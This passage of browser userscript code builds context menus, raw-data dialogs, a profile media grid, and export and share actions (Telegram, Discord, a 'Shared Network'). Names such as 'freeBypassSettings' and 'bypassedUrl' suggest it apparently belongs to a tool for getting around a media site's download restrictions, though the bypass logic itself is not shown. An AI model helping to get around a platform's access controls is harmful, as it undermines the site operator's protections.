      resetFloatingWindowSizeAndCenter();
      showToast('Floating window reset to default size and centered.', 'success');
    });

    document.body.appendChild(menu);
    activeContextMenu = menu;

    requestAnimationFrame(() => {
      const rect = menu.getBoundingClientRect();
      const nextLeft = Math.max(8, Math.min(window.innerWidth - rect.width - 8, x));
      const nextTop = Math.max(8, Math.min(window.innerHeight - rect.height - 8, y));
      menu.style.left = `${nextLeft}px`;
      menu.style.top = `${nextTop}px`;
    });

    const close = () => clearContextMenu();
    setTimeout(() => {
      window.addEventListener('click', close, { once: true });
      window.addEventListener('scroll', close, { once: true, passive: true });
    }, 0);
  }

  function showDataControlContextMenu(x, y, result) {
    if (!result) return;
    clearContextMenu();

    const menu = document.createElement('div');
    menu.style.cssText = `
      position: fixed;
      top: ${y}px;
      left: ${x}px;
      background: ${settings.theme === 'dark' ? '#1e293b' : '#ffffff'};
      color: ${settings.theme === 'dark' ? '#f1f5f9' : '#0f172a'};
      border: 1px solid ${settings.theme === 'dark' ? '#475569' : '#e2e8f0'};
      border-radius: 10px;
      padding: 6px;
      min-width: 180px;
      z-index: 100000;
      box-shadow: 0 12px 30px rgba(0,0,0,0.35);
    `;

    const addItem = (labelHtml, onClick) => {
      const btn = document.createElement('div');
      btn.innerHTML = labelHtml;
      btn.style.cssText = 'padding: 8px 10px; font-size: 12px; border-radius: 6px; cursor: pointer;';
      btn.onmouseenter = () => { btn.style.background = settings.theme === 'dark' ? '#334155' : '#f1f5f9'; };
      btn.onmouseleave = () => { btn.style.background = 'transparent'; };
      btn.onclick = () => {
        onClick();
        clearContextMenu();
      };
      menu.appendChild(btn);
    };

    addItem('<i class="fas fa-copy"></i> Copy Raw JSON', async () => {
      const json = JSON.stringify(result.data, null, 2);
      if (navigator.clipboard?.writeText) {
        await navigator.clipboard.writeText(json);
      } else {
        const ta = document.createElement('textarea');
        ta.value = json;
        document.body.appendChild(ta);
        ta.select();
        document.execCommand('copy');
        ta.remove();
      }
      showToast('Raw JSON copied to clipboard', 'success');
    });

    if (settings.sharedNetworkEnabled) {
      addItem('<i class="fas fa-network-wired"></i> Send to Shared Network', () => {
        if (!sharedNetIsConfigured()) {
          showToast('Shared Network is disabled or not configured', 'warning');
          return;
        }
        sharedNetSendRawPayloadNow(result, 'data-control-context-menu', `data_control_${result.type || 'result'}`)
          .then(() => showToast('Shared Network: sent', 'success'))
          .catch(err => showToast(`Shared Network send failed: ${err.message}`, 'error'));
      });
    }

    if (result.type === 'task') {
      addItem('<i class="fas fa-search"></i> View Task Details', () => {
        showTaskPreviewDialog(result);
      });
      addItem('<i class="fas fa-trash"></i> Delete Task', () => {
        showDeleteCacheDialog(result.taskId);
      });
      addItem('<i class="fas fa-file-export"></i> Export Task Data', () => {
        const json = JSON.stringify(result.data, null, 2);
        const blob = new Blob([json], { type: 'application/json' });
        const url = URL.createObjectURL(blob);
        const a = document.createElement('a');
        a.href = url;
        a.download = `task_${result.taskId}_${Date.now()}.json`;
        a.click();
        URL.revokeObjectURL(url);
        showToast('Task data exported', 'success');
      });
    } else {
      addItem('<i class="fas fa-search"></i> View Item Details', () => {
        showTaskPreviewDialog(result);
      });
      addItem('<i class="fas fa-trash"></i> Delete Item', () => {
        showConfirmDialog(`Delete item ${result.id}?`, () => {
          deleteItemFromCache(result.id);
          updateUI();
        });
      });
    }

    document.body.appendChild(menu);
    activeContextMenu = menu;

    const close = () => clearContextMenu();
    setTimeout(() => {
      window.addEventListener('click', close, { once: true });
      window.addEventListener('scroll', close, { once: true, passive: true });
    }, 0);
  }

  function colorizeJsonHtml(value) {
    const json = JSON.stringify(value, null, 2) || '{}';
    const escaped = escapeHtml(json);
    return escaped.replace(/("(?:\\u[\da-fA-F]{4}|\\[^u]|[^\\"])*"\s*:?)|(\btrue\b|\bfalse\b|\bnull\b)|(-?\b\d+(?:\.\d+)?(?:[eE][+\-]?\d+)?\b)/g, (match, keyLike, boolLike, numLike) => {
      if (keyLike) {
        if (/:$/.test(keyLike)) return `<span style="color:#93c5fd;">${keyLike}</span>`;
        return `<span style="color:#86efac;">${keyLike}</span>`;
      }
      if (boolLike) return `<span style="color:#fbbf24;">${boolLike}</span>`;
      if (numLike) return `<span style="color:#fca5a5;">${numLike}</span>`;
      return match;
    });
  }

  async function buildItemRawPayload(item) {
    const imageId = String(item?.id || item?.imageId || '');
    if (!imageId) return null;

    const uiItem = itemsData.find(it => String(it?.id || '') === imageId) || item || {};
    const mapMeta = itemMap.get(imageId) || {};
    const cacheSnapshot = loadCache();
    const cacheItem = (Array.isArray(cacheSnapshot?.items) ? cacheSnapshot.items : []).find(it => String(it?.id || it?.imageId || '') === imageId) || {};

    const candidateTaskId = uiItem.taskId || mapMeta.taskId || mapMeta.routeId || cacheItem.taskId || null;
    const taskData = resolveTaskData(candidateTaskId) || null;
    const mimeType = uiItem.mimeType || mapMeta.mimeType || cacheItem.mimeType || '';

    let bypassedUrl = getCachedDownloadUrl(imageId, mimeType)
      || cacheItem.bypassedUrl
      || uiItem.url
      || mapMeta.url
      || null;

    if (!bypassedUrl) {
      bypassedUrl = await ensureDownloadUrl(imageId, mimeType).catch(() => null);
    }

    return {
      generatedAt: new Date().toISOString(),
      imageId,
      bypassedUrl: bypassedUrl || null,
      uiItem,
      itemMapMeta: mapMeta,
      cacheItem,
      resolvedTask: taskData ? {
        taskId: taskData.taskId || null,
        routeId: taskData.routeId || null,
        createdAt: taskData.createdAt || null,
        expireAt: taskData.expireAt || null,
        status: taskData.status || null,
        workspaceType: taskData.workspaceType || null,
        workflowTemplateInfo: taskData.workflowTemplateInfo || null,
        workflowInfo: taskData.workflowInfo || null,
        mediaFlags: taskData.mediaFlags || null,
        itemsCount: Array.isArray(taskData.items) ? taskData.items.length : 0
      } : null
    };
  }

  async function showItemRawDataDialog(item) {
    const payload = await buildItemRawPayload(item);
    if (!payload) {
      showToast('Unable to build item raw data', 'warning');
      return;
    }

    const colors = getThemeColors();
    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed;
      inset: 0;
      z-index: 10000040;
      background: rgba(2, 6, 23, 0.86);
      backdrop-filter: blur(8px);
      display: flex;
      align-items: center;
      justify-content: center;
      padding: 16px;
    `;

    const dialog = document.createElement('div');
    dialog.style.cssText = `
      width: min(980px, 96vw);
      max-height: 90vh;
      background: ${colors.bg};
      border: 1px solid ${colors.border};
      border-radius: 14px;
      box-shadow: 0 24px 70px rgba(0, 0, 0, 0.55);
      display: flex;
      flex-direction: column;
      overflow: hidden;
      color: ${colors.text};
    `;

    const header = document.createElement('div');
    header.style.cssText = `
      display:flex;
      align-items:center;
      justify-content:space-between;
      gap:10px;
      padding:12px 14px;
      border-bottom:1px solid ${colors.border};
      background:${colors.bgSecondary};
    `;
    header.innerHTML = `
      <div style="min-width:0;">
        <div style="font-weight:800; font-size:14px;"><i class="fas fa-code" style="margin-right:6px; color:${colors.primary};"></i> Item Raw Data</div>
        <div style="font-size:11px; color:${colors.textSecondary}; font-family:Consolas, monospace; white-space:nowrap; overflow:hidden; text-overflow:ellipsis;">${escapeHtml(payload.imageId)}</div>
      </div>
    `;

    const actions = document.createElement('div');
    actions.style.cssText = 'display:flex; gap:8px; align-items:center;';

    const copyBtn = document.createElement('button');
    copyBtn.className = 'bypass-btn bypass-btn-secondary';
    copyBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
    copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy JSON';
    copyBtn.onclick = async () => {
      const json = JSON.stringify(payload, null, 2);
      if (navigator.clipboard?.writeText) {
        await navigator.clipboard.writeText(json);
      } else {
        const ta = document.createElement('textarea');
        ta.value = json;
        document.body.appendChild(ta);
        ta.select();
        document.execCommand('copy');
        ta.remove();
      }
      showToast('Raw JSON copied', 'success');
    };

    const openBtn = document.createElement('button');
    openBtn.className = 'bypass-btn bypass-btn-secondary';
    openBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
    openBtn.innerHTML = '<i class="fas fa-up-right-from-square"></i> Open URL';
    openBtn.disabled = !payload.bypassedUrl;
    openBtn.onclick = () => {
      if (!payload.bypassedUrl) return;
      window.open(payload.bypassedUrl, '_blank');
    };

    const closeBtn = document.createElement('button');
    closeBtn.className = 'bypass-btn bypass-btn-secondary';
    closeBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
    closeBtn.innerHTML = '<i class="fas fa-times"></i> Close';
    closeBtn.onclick = () => overlay.remove();

    actions.appendChild(copyBtn);
    actions.appendChild(openBtn);
    actions.appendChild(closeBtn);
    header.appendChild(actions);

    const pre = document.createElement('pre');
    pre.style.cssText = `
      margin:0;
      padding:14px;
      overflow:auto;
      flex:1;
      font-family:Consolas, 'Courier New', monospace;
      font-size:12px;
      line-height:1.55;
      background:${settings.theme === 'dark' ? '#020617' : '#f8fafc'};
      color:${colors.text};
      white-space:pre-wrap;
      word-break:break-word;
    `;
    pre.innerHTML = colorizeJsonHtml(payload);

    dialog.appendChild(header);
    dialog.appendChild(pre);
    overlay.appendChild(dialog);
    overlay.onclick = (e) => {
      if (e.target === overlay) overlay.remove();
    };
    document.body.appendChild(overlay);
  }

  function showItemContextMenu(x, y, item) {
    if (!item?.id) return;
    clearContextMenu();

    const menu = document.createElement('div');
    menu.style.cssText = `
      position: fixed;
      top: ${y}px;
      left: ${x}px;
      background: ${settings.theme === 'dark' ? '#1e293b' : '#ffffff'};
      color: ${settings.theme === 'dark' ? '#f1f5f9' : '#0f172a'};
      border: 1px solid ${settings.theme === 'dark' ? '#475569' : '#e2e8f0'};
      border-radius: 10px;
      padding: 6px;
      min-width: 160px;
      z-index: 100000;
      box-shadow: 0 12px 30px rgba(0,0,0,0.35);
    `;

    const addItem = (label, onClick) => {
      const btn = document.createElement('div');
      btn.textContent = label;
      btn.style.cssText = 'padding: 8px 10px; font-size: 12px; border-radius: 6px; cursor: pointer;';
      btn.onmouseenter = () => { btn.style.background = settings.theme === 'dark' ? '#334155' : '#f1f5f9'; };
      btn.onmouseleave = () => { btn.style.background = 'transparent'; };
      btn.onclick = () => {
        onClick();
        clearContextMenu();
        if (isExpanded) refreshSelectionUI();
      };
      menu.appendChild(btn);
    };

    const applySelectionToggle = () => {
      if (selectedItems.size > 0) {
        toggleItemSelected(item.id);
      } else {
        setItemSelected(item.id, true);
      }
    };
    addItem(selectedItems.has(item.id) ? 'Unselect item' : 'Select item', applySelectionToggle);
    addItem('View media', async () => {
      const url = await ensureDownloadUrl(item.id, item.mimeType || '');
      if (!url) return;
      const data = getTooltipItemData(item.id, item) || item;
      openImageModal(url, data?.taskId || item.taskId, data?.createdAt || item.createdAt, data?.expiresAt || item.expiresAt, [], item.id, data?.mimeType || item.mimeType || '');
    });
    addItem('Force load preview', async () => {
      const ok = await forceLoadPreviewForItem(item.id);
      if (!ok) {
        const url = await ensureDownloadUrl(item.id, item.mimeType || '');
        if (!url) return;
      }
    });
    addItem('Select all', () => {
      itemsData.forEach(it => setItemSelected(it.id, true));
    });
    addItem('Unselect all', () => {
      selectedItems.clear();
    });
    addItem('Select images', () => {
      itemsData.forEach(it => setItemSelected(it.id, it.type !== 'Video' && !it.mimeType?.startsWith('video/')));
    });
    addItem('Select videos', () => {
      itemsData.forEach(it => setItemSelected(it.id, it.type === 'Video' || it.mimeType?.startsWith('video/')));
    });

    const selectionList = () => {
      const list = selectedItems.size > 0 ? itemsData.filter(it => selectedItems.has(it.id)) : [item];
      return list.filter(it => it?.id);
    };

    if (settings.telegramEnabled && settings.telegramChatId) {
      addItem('Send to Telegram', () => {
        const list = selectionList();
        const allowDuplicate = !settings.preventDuplicateTasks;
        list.forEach(it => enqueueTaskAction('telegram', it.id, getItemMetaFromId(it.id), allowDuplicate));
        processTaskActionQueue();
        updateGlobalActionProgressFromQueue();
      });
    }

    if (settings.discordEnabled && settings.discordWebhook) {
      addItem('Send to Discord', () => {
        const list = selectionList();
        const allowDuplicate = !settings.preventDuplicateTasks;
        list.forEach(it => enqueueTaskAction('discord', it.id, getItemMetaFromId(it.id), allowDuplicate));
        processTaskActionQueue();
        updateGlobalActionProgressFromQueue();
      });
    }

    if (settings.sharedNetworkEnabled) {
      addItem('Send to Shared Network', () => {
        const list = selectionList();
        if (!sharedNetIsConfigured()) {
          showToast('Shared Network is disabled or not configured', 'warning');
          return;
        }
        sharedNetSendItemsNow(list, 'item-context-menu')
          .then(() => showToast('Shared Network: sent', 'success'))
          .catch(err => showToast(`Shared Network send failed: ${err.message}`, 'error'));
      });
    }

    addItem('Download', () => {
      const list = selectionList();
      const allowDuplicate = !settings.preventDuplicateTasks;
      list.forEach(it => enqueueTaskAction('download', it.id, getItemMetaFromId(it.id), allowDuplicate));
      processTaskActionQueue();
      updateGlobalActionProgressFromQueue();
    });

    addItem('Show Raw Data', async () => {
      const list = selectionList();
      const target = list[0] || item;
      await showItemRawDataDialog(target);
    });

    addItem('Delete from Cache', () => {
      const list = selectionList();
      const itemIds = list.map(it => it.id);
      showConfirmDialog(`Delete ${itemIds.length} item(s) from cache?`, () => {
        itemIds.forEach(id => deleteItemFromCache(id));
        updateUI();
      });
    });

    addItem('Hide from UI', () => {
      const list = selectionList();
      list.forEach(it => markItemAsHidden(it.id));
      updateUI();
    });

    document.body.appendChild(menu);
    activeContextMenu = menu;

    const close = () => clearContextMenu();
    setTimeout(() => {
      window.addEventListener('click', close, { once: true });
      window.addEventListener('scroll', close, { once: true, passive: true });
    }, 0);
  }

  function getProfileFlattenedItems(profileName) {
    const profiles = getTaskProfiles();
    const profile = profiles[profileName];
    if (!profile?.tasks?.length) return [];

    const out = [];
    for (const taskEntry of profile.tasks) {
      const taskId = taskEntry?.taskId || taskEntry?.taskData?.taskId || null;
      const taskData = taskEntry?.taskData || resolveTaskData(taskId) || {};
      const items = Array.isArray(taskData?.items) ? taskData.items : [];
      for (const rawItem of items) {
        if (!rawItem?.imageId) continue;
        const cached = itemMap.get(rawItem.imageId) || {};
        const mapped = itemsData.find(i => i.id === rawItem.imageId) || {};
        out.push({
          id: rawItem.imageId,
          imageId: rawItem.imageId,
          taskId: taskId || mapped.taskId || cached.taskId || null,
          createdAt: taskData?.createdAt || mapped.createdAt || null,
          expireAt: taskData?.expireAt || mapped.expiresAt || mapped.expireAt || null,
          mimeType: rawItem.mimeType || mapped.mimeType || cached.mimeType || 'image/*',
          width: rawItem.width || mapped.width || cached.width || null,
          height: rawItem.height || mapped.height || cached.height || null,
          downloadFileName: rawItem.downloadFileName || mapped.downloadFileName || cached.downloadFileName || null,
          url: rawItem.url || mapped.url || cached.url || null,
          sourceTaskData: taskData
        });
      }
    }

    const uniq = new Map();
    out.forEach(item => {
      if (!uniq.has(item.id)) uniq.set(item.id, item);
    });
    return Array.from(uniq.values());
  }

  function showProfileMediaPreviewDialog(item, dialogColors) {
    if (!item?.id && !item?.imageId) return;
    const colors = dialogColors || getThemeColors();
    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed;
      inset: 0;
      z-index: 10000005;
      background: ${settings.inheritTheme ? 'var(--mask-primary, rgba(2, 6, 23, 0.88))' : 'rgba(2, 6, 23, 0.9)'};
      backdrop-filter: blur(6px);
      display: flex;
      align-items: center;
      justify-content: center;
      padding: 16px;
    `;

    const dialog = document.createElement('div');
    dialog.style.cssText = `
      width: min(1200px, 96vw);
      height: min(92vh, 920px);
      background: ${colors.bg};
      border: 1px solid ${colors.border};
      border-radius: 14px;
      overflow: hidden;
      display: flex;
      flex-direction: column;
      box-shadow: 0 26px 80px rgba(0, 0, 0, 0.45);
    `;

    const header = document.createElement('div');
    header.style.cssText = `
      display: flex;
      align-items: center;
      justify-content: space-between;
      gap: 10px;
      padding: 10px 12px;
      border-bottom: 1px solid ${colors.border};
      color: ${colors.text};
      background: ${colors.bgSecondary};
    `;

    const title = document.createElement('div');
    title.style.cssText = 'font-size: 12px; font-weight: 600; min-width: 0; overflow: hidden; text-overflow: ellipsis; white-space: nowrap;';
    title.textContent = `${item.id || item.imageId} • ${item.mimeType || 'unknown'}`;

    const closeBtn = document.createElement('button');
    closeBtn.className = 'bypass-btn bypass-btn-secondary';
    closeBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
    closeBtn.innerHTML = '<i class="fas fa-times"></i> Close';
    closeBtn.onclick = () => overlay.remove();

    header.appendChild(title);
    header.appendChild(closeBtn);

    const mediaWrap = document.createElement('div');
    mediaWrap.style.cssText = `
      flex: 1;
      background: ${colors.bg};
      display: flex;
      align-items: center;
      justify-content: center;
      overflow: hidden;
      padding: 12px;
    `;

    const footer = document.createElement('div');
    footer.style.cssText = `
      display: flex;
      align-items: center;
      justify-content: space-between;
      gap: 8px;
      padding: 8px 12px;
      border-top: 1px solid ${colors.border};
      background: ${colors.bgSecondary};
      color: ${colors.textSecondary};
      font-size: 11px;
    `;

    const info = document.createElement('div');
    info.textContent = `Task: ${item.taskId || 'N/A'}${item.width && item.height ? ` • ${item.width}x${item.height}` : ''}`;

    const action = document.createElement('button');
    action.className = 'bypass-btn bypass-btn-secondary';
    action.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
    action.innerHTML = '<i class="fas fa-download"></i> Download';
    action.onclick = async () => {
      try {
        await downloadMediaById(item.id || item.imageId, item.mimeType);
      } catch (err) {
        showToast(`Download failed: ${err.message}`, 'error');
      }
    };

    footer.appendChild(info);
    footer.appendChild(action);

    const renderMedia = async () => {
      const url = item.url || await ensureDownloadUrl(item.id || item.imageId, item.mimeType || '');
      if (!url) {
        mediaWrap.innerHTML = `<div style="color:${colors.textSecondary}; font-size:12px;">Preview unavailable</div>`;
        return;
      }
      if (item.mimeType?.startsWith('video/')) {
        const video = document.createElement('video');
        video.src = url;
        video.controls = true;
        video.playsInline = true;
        video.style.cssText = 'max-width: 100%; max-height: 100%; border-radius: 8px; background: #000;';
        mediaWrap.innerHTML = '';
        mediaWrap.appendChild(video);
      } else {
        const img = document.createElement('img');
        img.src = url;
        img.style.cssText = 'max-width: 100%; max-height: 100%; object-fit: contain; border-radius: 8px;';
        mediaWrap.innerHTML = '';
        mediaWrap.appendChild(img);
      }
    };

    dialog.appendChild(header);
    dialog.appendChild(mediaWrap);
    dialog.appendChild(footer);
    overlay.appendChild(dialog);
    document.body.appendChild(overlay);

    overlay.onclick = (e) => {
      if (e.target === overlay) overlay.remove();
    };

    renderMedia().catch(() => {
      mediaWrap.innerHTML = `<div style="color:${colors.textSecondary}; font-size:12px;">Preview unavailable</div>`;
    });
  }

  function showProfileFullscreenDialog(profileName) {
    const profileItems = getProfileFlattenedItems(profileName);
    const profiles = getTaskProfiles();
    const profile = profiles[profileName];
    const colors = getThemeColors();

    const overlay = document.createElement('div');
    overlay.style.cssText = `
      position: fixed;
      inset: 0;
      z-index: 10000002;
      background: ${settings.inheritTheme ? 'var(--mask-primary, rgba(2, 6, 23, 0.92))' : 'rgba(2, 6, 23, 0.96)'};
      backdrop-filter: blur(8px);
      display: flex;
      flex-direction: column;
      color: ${colors.text};
    `;

    const header = document.createElement('div');
    header.style.cssText = `display:flex; gap:12px; align-items:center; justify-content:space-between; padding:14px 18px; border-bottom:1px solid ${colors.border}; background:${colors.bgSecondary};`;
    header.innerHTML = `
      <div style="display:flex; flex-direction:column; gap:4px; min-width:0;">
        <div style="font-weight:700; font-size:16px; white-space:nowrap; overflow:hidden; text-overflow:ellipsis; color:${colors.text};"><i class="fas fa-layer-group" style="margin-right:8px; color:${colors.primary};"></i>${escapeHtml(profileName)}</div>
        <div style="font-size:12px; color:${colors.textSecondary};">${profileItems.length} item(s) • ${profile?.tasks?.length || 0} task(s)</div>
      </div>
    `;

    const closeBtn = document.createElement('button');
    closeBtn.className = 'bypass-btn bypass-btn-secondary';
    closeBtn.style.cssText = 'width:auto; padding:8px 12px;';
    closeBtn.innerHTML = '<i class="fas fa-times"></i> Close';
    closeBtn.onclick = () => overlay.remove();
    header.appendChild(closeBtn);

    const actions = document.createElement('div');
    actions.style.cssText = `display:flex; flex-wrap:wrap; gap:8px; align-items:center; padding:10px 18px; border-bottom:1px solid ${colors.border}; background:${colors.bgSecondary};`;

    const selected = new Set();
    let query = '';

    const searchInput = document.createElement('input');
    searchInput.type = 'text';
    searchInput.placeholder = 'Search by task ID, date, image ID, MIME, filename...';
    searchInput.style.cssText = `min-width:260px; flex:1; padding:8px 10px; border-radius:8px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;
    actions.appendChild(searchInput);

    const mkActionBtn = (label, icon, onClick) => {
      const btn = document.createElement('button');
      btn.className = 'bypass-btn bypass-btn-secondary';
      btn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
      btn.innerHTML = `<i class="${icon}"></i> ${label}`;
      btn.onclick = onClick;
      return btn;
    };

    const enqueueAction = (action, list) => {
      const allowDuplicate = !settings.preventDuplicateTasks;
      list.forEach(item => enqueueTaskAction(action, item.id, getItemMetaFromId(item.id), allowDuplicate));
      processTaskActionQueue();
      updateGlobalActionProgressFromQueue();
      showToast(`Queued ${list.length} item(s) for ${action}`, 'success');
    };

    const exportAsJson = (list, filename) => {
      const payload = {
        profileName,
        exportedAt: new Date().toISOString(),
        count: list.length,
        items: list
      };
      const blob = new Blob([JSON.stringify(payload, null, 2)], { type: 'application/json' });
      const url = URL.createObjectURL(blob);
      const a = document.createElement('a');
      a.href = url;
      a.download = filename;
      a.click();
      URL.revokeObjectURL(url);
    };

    const copyAsText = async (list) => {
      const lines = [];
      for (const item of list) {
        const url = item.url || await ensureDownloadUrl(item.id, item.mimeType || '');
        if (url) lines.push(url);
      }
      if (!lines.length) {
        showToast('No URLs available to copy', 'warning');
        return;
      }
      if (navigator.clipboard?.writeText) {
        await navigator.clipboard.writeText(lines.join('\n'));
      }
      showToast(`Copied ${lines.length} URL(s)`, 'success');
    };

    if (settings.telegramEnabled && settings.telegramChatId) {
      actions.appendChild(mkActionBtn('Send Telegram', 'fab fa-telegram', () => enqueueAction('telegram', filteredItems())));
    }
    if (settings.discordEnabled && settings.discordWebhook) {
      actions.appendChild(mkActionBtn('Send Discord', 'fab fa-discord', () => enqueueAction('discord', filteredItems())));
    }
    actions.appendChild(mkActionBtn('Download', 'fas fa-download', () => enqueueAction('download', filteredItems())));
    actions.appendChild(mkActionBtn('Export All', 'fas fa-file-export', () => {
      exportAsJson(filteredItems(), `${sanitizeFilename(profileName)}_all.json`);
      showToast('Exported profile items', 'success');
    }));
    actions.appendChild(mkActionBtn('Export Selected', 'fas fa-file-export', () => {
      const list = filteredItems().filter(item => selected.has(item.id));
      if (!list.length) {
        showToast('No selected items', 'warning');
        return;
      }
      exportAsJson(list, `${sanitizeFilename(profileName)}_selected.json`);
      showToast('Exported selected items', 'success');
    }));
    actions.appendChild(mkActionBtn('Copy Selected', 'fas fa-copy', async () => {
      const list = filteredItems().filter(item => selected.has(item.id));
      if (!list.length) {
        showToast('No selected items', 'warning');
        return;
      }
      await copyAsText(list);
    }));

    const body = document.createElement('div');
    body.style.cssText = `flex:1; overflow:auto; padding:14px 18px; background:${colors.bg};`;
    const grid = document.createElement('div');
    grid.style.cssText = 'display:grid; grid-template-columns: repeat(auto-fill, minmax(220px, 1fr)); gap:12px;';
    body.appendChild(grid);

    const filteredItems = () => {
      const q = query.trim().toLowerCase();
      if (!q) return profileItems;
      return profileItems.filter(item => {
        const created = normalizeTimestamp(item.createdAt);
        const expires = normalizeTimestamp(item.expireAt);
        const haystack = [
          item.id,
          item.taskId,
          item.mimeType,
          item.downloadFileName,
          item.width && item.height ? `${item.width}x${item.height}` : '',
          created ? new Date(created).toLocaleString() : '',
          expires ? new Date(expires).toLocaleString() : ''
        ].join(' ').toLowerCase();
        return haystack.includes(q);
      });
    };

    const render = () => {
      const list = filteredItems();
      grid.innerHTML = '';

      if (!list.length) {
        const empty = document.createElement('div');
        empty.style.cssText = `padding:24px; color:${colors.textSecondary}; font-size:12px; grid-column:1/-1; text-align:center;`;
        empty.textContent = 'No items match your search.';
        grid.appendChild(empty);
        return;
      }

      list.forEach(item => {
        const card = document.createElement('div');
        card.style.cssText = `
          background: ${colors.bgSecondary};
          border: 1px solid ${selected.has(item.id) ? colors.primary : colors.border};
          border-radius: 10px;
          overflow: hidden;
          display: flex;
          flex-direction: column;
          min-height: 250px;
          cursor: pointer;
        `;

        const media = document.createElement('div');
        media.style.cssText = `height:150px; background:${colors.bg}; display:flex; align-items:center; justify-content:center; overflow:hidden; cursor: zoom-in; position: relative;`;

        // Show placeholder initially
        media.innerHTML = `<i class="fas ${item.mimeType?.startsWith('video/') ? 'fa-video' : 'fa-image'}" style="font-size:28px; color:${colors.textSecondary}; opacity:0.6;"></i>`;

        const renderPreview = async () => {
          const url = item.url || await ensureDownloadUrl(item.id, item.mimeType || '');
          if (!url || !media.isConnected) return;

          if (item.mimeType?.startsWith('video/')) {
            const video = document.createElement('video');
            video.src = url;
            video.muted = true;
            video.playsInline = true;
            video.preload = 'metadata';
            video.style.cssText = 'width:100%; height:100%; object-fit:cover; position:absolute; top:0; left:0;';
            video.onloadedmetadata = () => {
              try {
                video.currentTime = 0.01;
              } catch {
                // noop
              }
            };
            video.onseeked = () => video.pause();
            video.oncanplay = () => video.pause();
            media.appendChild(video);
          } else {
            const img = document.createElement('img');
            img.src = url;
            img.style.cssText = 'width:100%; height:100%; object-fit:cover; position:absolute; top:0; left:0;';
            img.onload = () => {
              // Image loaded successfully - icon will be hidden by absolute positioning
            };
            img.onerror = () => {
              // Keep icon visible if image fails to load
              img.remove();
            };
            media.appendChild(img);
          }
        };
        renderPreview().catch(() => {
          // Keep icon visible if preview fails
        });

        media.onclick = async (e) => {
          e.stopPropagation();
          const url = item.url || await ensureDownloadUrl(item.id, item.mimeType || '');
          if (!url) {
            showToast('Preview unavailable for this item', 'warning');
            return;
          }
          showProfileMediaPreviewDialog({ ...item, url }, colors);
        };

        const meta = document.createElement('div');
        meta.style.cssText = `padding:10px; display:grid; gap:4px; font-size:11px; color:${colors.textSecondary};`;
        const created = normalizeTimestamp(item.createdAt);
        meta.innerHTML = `
          <div style="font-weight:600; font-size:12px; color:${colors.text}; overflow:hidden; text-overflow:ellipsis; white-space:nowrap;">${escapeHtml(item.id)}</div>
          <div>Task: ${escapeHtml(item.taskId || 'N/A')}</div>
          <div>${escapeHtml(item.mimeType || 'unknown')}</div>
          <div>${created ? escapeHtml(new Date(created).toLocaleString()) : 'N/A'}</div>
        `;

        card.onclick = () => {
          if (selected.has(item.id)) selected.delete(item.id);
          else selected.add(item.id);
          render();
        };
        card.addEventListener('contextmenu', (e) => {
          e.preventDefault();
          clearContextMenu();
          const menu = document.createElement('div');
          menu.style.cssText = `position:fixed; top:${e.clientY}px; left:${e.clientX}px; z-index:10000003; background:${colors.bg}; border:1px solid ${colors.border}; border-radius:8px; min-width:190px; padding:6px; box-shadow:0 12px 30px rgba(0,0,0,0.4);`;

          const addMenuItem = (label, fn) => {
            const row = document.createElement('div');
            row.style.cssText = `padding:8px 10px; border-radius:6px; cursor:pointer; font-size:12px; color:${colors.text};`;
            row.textContent = label;
            row.onmouseenter = () => { row.style.background = settings.inheritTheme ? 'var(--background-tertiary, rgba(99,102,241,0.2))' : 'rgba(99,102,241,0.2)'; };
            row.onmouseleave = () => { row.style.background = 'transparent'; };
            row.onclick = async () => { await fn(); clearContextMenu(); };
            menu.appendChild(row);
          };

          addMenuItem('Select all visible', () => { filteredItems().forEach(i => selected.add(i.id)); render(); });
          addMenuItem('Clear selection', () => { selected.clear(); render(); });
          addMenuItem('Export all visible', () => {
            exportAsJson(filteredItems(), `${sanitizeFilename(profileName)}_all.json`);
            showToast('Exported all visible items', 'success');
          });
          addMenuItem('Export selected', () => {
            const list = filteredItems().filter(i => selected.has(i.id));
            if (!list.length) {
              showToast('No selected items', 'warning');
              return;
            }
            exportAsJson(list, `${sanitizeFilename(profileName)}_selected.json`);
            showToast('Exported selected items', 'success');
          });
          addMenuItem('Copy as text (all visible)', async () => { await copyAsText(filteredItems()); });
          addMenuItem('Copy as text (selected)', async () => {
            const list = filteredItems().filter(i => selected.has(i.id));
            if (!list.length) {
              showToast('No selected items', 'warning');
              return;
            }
            await copyAsText(list);
          });

          document.body.appendChild(menu);
          activeContextMenu = menu;
          setTimeout(() => {
            window.addEventListener('click', () => clearContextMenu(), { once: true });
          }, 0);
        });

        card.appendChild(media);
        card.appendChild(meta);
        grid.appendChild(card);
      });
    };

    searchInput.addEventListener('input', () => {
      query = searchInput.value;
      render();
    });

    overlay.appendChild(header);
    overlay.appendChild(actions);
    overlay.appendChild(body);
    document.body.appendChild(overlay);
    render();
  }

  function saveSettings() {
    localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
    persistSharedNotificationSettings();
    persistSharedExternalPlatformSettings();
    if (settings.tensorhubShareSettings) {
      syncSettingsAcrossDomains();
    }
  }

  function readSharedScriptStoreSync(key, fallback) {
    try {
      if (typeof GM_getValue === 'function') {
        const raw = GM_getValue(key, null);
        if (raw != null) return raw;
      }
    } catch {
      // ignore
    }

    try {
      const raw = localStorage.getItem(key);
      if (!raw) return fallback;
      return JSON.parse(raw);
    } catch {
      return fallback;
    }
  }

  function writeSharedScriptStore(key, value) {
    try {
      if (typeof GM_setValue === 'function') {
        GM_setValue(key, value);
      }
    } catch {
      // ignore
    }

    try {
      if (typeof GM !== 'undefined' && typeof GM.setValue === 'function') {
        GM.setValue(key, value).catch(() => {});
      }
    } catch {
      // ignore
    }

    try {
      localStorage.setItem(key, JSON.stringify(value));
    } catch {
      // ignore
    }
  }

  function buildSharedExternalPlatformSettingsPayload() {
    const payload = {};
    EXTERNAL_PLATFORM_SHARED_SETTING_KEYS.forEach((key) => {
      const value = settings[key];
      if (Array.isArray(value)) {
        payload[key] = value.slice();
      } else if (value && typeof value === 'object') {
